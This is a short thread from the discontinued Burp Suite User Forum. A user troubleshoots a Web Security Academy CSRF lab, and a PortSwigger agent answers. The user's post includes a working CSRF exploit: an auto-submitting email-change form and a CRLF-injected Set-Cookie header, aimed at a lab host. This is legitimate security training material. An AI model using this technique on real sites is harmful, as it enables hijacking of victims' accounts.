Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CSRF where token is duplicated in cookie. Invalid CSRF token error

Bora | Last updated: Jul 08, 2024 09:33AM UTC

Hello. I've been struggling to resolve a few CSRF challenges, as for example "CSRF token is simply duplicated in a cookie", I also had problem with "CSRF where token is tied to non-session cookie". When I click on "View Exploit" It works on my account and I don't get any error but when I click on deliver exploit to victim it doesn't solve the lab. <html> <body> <form action="https://0aa600fd03e38ed18311006a00b2002e.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="abcdefgh@email.com"/> <input type="hidden" name="csrf" value="fake"/> </form> </body> <img src="https://0aa600fd03e38ed18311006a00b2002e.web-security-academy.net/?search=blabla%0d%0aSet-Cookie%3a%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit()"> </html>

Ben, PortSwigger Agent | Last updated: Jul 08, 2024 10:44AM UTC

Hi Bora, Have you changed the email address being used in your exploit between testing this on yourself (via the 'View exploit' functionality) and delivering the exploit to the victim user?

Bora | Last updated: Jul 08, 2024 10:52AM UTC

yes

Bora | Last updated: Jul 08, 2024 11:02AM UTC

After multiple times of changing email part I could solve the lab but there is a weird bug.

Ben, PortSwigger Agent | Last updated: Jul 08, 2024 04:46PM UTC